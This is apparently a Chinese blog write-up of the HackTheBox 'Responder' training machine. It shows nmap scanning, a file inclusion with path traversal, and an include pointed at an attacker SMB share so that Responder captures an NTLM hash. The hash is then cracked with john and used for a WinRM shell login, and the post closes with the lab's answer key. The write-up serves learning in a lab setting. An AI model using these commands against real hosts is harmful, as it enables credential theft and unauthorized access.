HTB_Responder 综合靶机 菜菜被虐现场实录

今天的练习有一点苦恼,啥都不会 😭😭😭😭

信息收集

拿到靶机日常扫描不用说了,-A 竟然什么都没扫描到

┌──(root💀kali)-[~]
└─# nmap -A -T4 10.129.95.234
All 1000 scanned ports on bogon (10.129.95.234) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

没关系,可能是默认扫描的这些端口没有开放,扫描全端口一试,加个 -p 扫描全端口,扫到了两个端口

┌──(root💀kali)-[~]
└─# nmap -A -T4 10.129.95.234 -p 0-65535
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

等待的时间我又去查了一下一些语句,借用一下,-sS 使用 SYN 扫描,因为 TCP 扫描会经历三次握手耗费大量时间,-Pn 是禁 ping 主机,防止被防火墙过滤而漏扫,但是我们只有一个主机,所以没什么影响,-n 不解析域名,-open 只输出开放端口,结果扫描到 3 个端口,而且注意 5985 端口扫描出的服务也有所不同

┌──(root💀kali)-[~]
└─# nmap -sS -Pn -n --open -T4 10.129.95.234 -p 0-65535 
PORT     STATE SERVICE
80/tcp   open  http
5985/tcp open  wsman
7680/tcp open  pando-pub

三个端口依次访问,80 端口重定向到一个域名,但是无法访问

在这里插入图片描述

5985 端口 404 ,但是有一点指纹信息

在这里插入图片描述

7680 也是一样无法连接,但是没有重定向

这个 wsman 全称是 Windows Remote Managemen(WS_Management) ,如果使用 Win7 或者Windows 2003 Server以上版本的操作系统,微软在系统中已经自带了支持WSMAN 的管理客户端,叫做 winrm,它可以提供远程 powershell 管理服务,听起来就比较危险

修改 host 进入网站

我们知道如果想通过域名访问一个网站的话,是需要进行 dns 解析的,我们直接输入 IP 地址发现被重定向到了 unika.htb 这个域名,但是这个域名没有办法解析到对应的 IP 地址,所以我们需要通过修改 hosts 文件来确定 IP 地址

在这里插入图片描述

再次访问,出现页面,这个网站是通过虚拟主机搭建的,也就是多个网站搭建在一台服务器上,一般现实环境中是不能通过虚拟主机的 IP 直接访问的,而是通过 A 记录(把域名解析到一个IP地址)或 CNAME 记录 (把域名解析到另外一个域名)解析出域名后,再进行下一次域名解析来访问

在这里插入图片描述

查看网站功能

测试 web 应用程序可以重点关注交互功能,我们能控制哪些输入,又如何被后端处理,会不会以及怎么输出? 静态的网站基本上不会有漏洞的

点了点网站,也是很常见的公司产品官网(?不知道怎么分类,就是静态页面为主),只有一个留言功能和一个语言切换功能有数据包请求,剩下都是由前端完成资源锚点跳转的

请求这两个功能分别是两个 html 页面的请求,但是都是跳转到首页最上方

在这里插入图片描述

探测漏洞-文件包含

到这里有一个 page 参数,输入文件名,那么这个地方比较大可能存在的漏洞就是文件包含漏洞,我们在初级靶场也接触过,测试一下?

随便输入,发现报错返回了路径,使用的 xampp ,一种比较常用的一键式集成环境搭建的网站,默认是将脚本文件放到 xampp/htdocs 目录下运行

在这里插入图片描述

因为在信息收集阶段已经知道目标系统是 windows 了,有什么特殊的敏感文件吗? 我们可以尝试查看 hosts 文件

在这里插入图片描述

或者直接带盘符,也可以查看

在这里插入图片描述

那么如何进一步利用呢?两种思路,一是写入或包含远程后门文件,然后连接,还有是继续信息收集 windows 系统的账号密码信息,进行登录

我们测试一下远程文件包含,我们知道远程文件包含还需要两个条件

allow_url_include、allow_url_fopen 为 ON

本地文件包含则不需要,测试一下,直接报错,不存在远程文件包含

在这里插入图片描述

利用 SMB 窃取 NTLM hash

SMB 协议支持 NTLMLM 加密,我们通过恶意程序监听,在远程主机访问我们的 SMB 服务时,因为要进行身份验证,会发送相关信息,我们就可以获取目标主机的 hash 值,这个是为了账号密码的安全性,一般都不进行明文验证,而是使用摘要值进行比对,这样就给了我们可乘之机,不需要知道正确的账号密码,只要摘要值比对成功就可以登录

下载安装工具,使用它进行监听

┌──(root💀kali)-[~]
└─# git pull https://github.com/lgandx/Responder 

确认是否支持 SMB 请求

在这里插入图片描述

监听 tun0 ,之前有一次靶机提到过,该 IP 是和目标机器一个网络下的 10 段 IP

┌──(root💀kali)-[~/tools/responder]
└─# python3 Responder.py -I tun0 

在这里插入图片描述

我们使用 curl 命令来请求 url

┌──(root💀kali)-[~]
└─# curl -v http://unika.htb/index.php?page=//10.10.16.23/csd 

我们发现成功接收到服务器的的 NTLM 值,一般是第一次请求才会发送,然后会保存到本地,下次就不会再发送了

在这里插入图片描述

NTLM 碰撞获取可用账号密码

获取到 NTLM 值,下一步就是暴破了,将获取的值保存到 hash.txt 文件中

在这里插入图片描述

使用 kali 自带工具 john 进行破解碰撞,但是这个字典我的 kali 没有,需要自行下载👉rockyou.txt.gz下载 ,使用下面的命令解压,不要用别的

gzip -d rockyou.txt.gz

完成之后暴破,注意路径

┌──(root💀kali)-[~]
└─# john -w=/usr/share/wordlists/rockyou.txt hash.txt

很快啊,结果就出来了

在这里插入图片描述

获取 shell

这里要利用之前的 winrm ,下载 evil-winrm 工具,直接登录连接获取 shell

┌──(root💀kali)-[~]
└─# evil-winrm -i 10.129.87.127 -u  administrator -p badminton 

在这里插入图片描述

尝试执行一些命令(我的靶机重连过,IP变了)

在这里插入图片描述

最后在某处发现了 flag

在这里插入图片描述

后放答案

3
unika.htb
php
page
../../../../../../../../windows/system32/drivers/etc/hosts
//10.10.14.6/somefile
New Technology LAN Manager
-I
john the Ripper
badminton
5985

pwn!真实一次艰难的学习

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值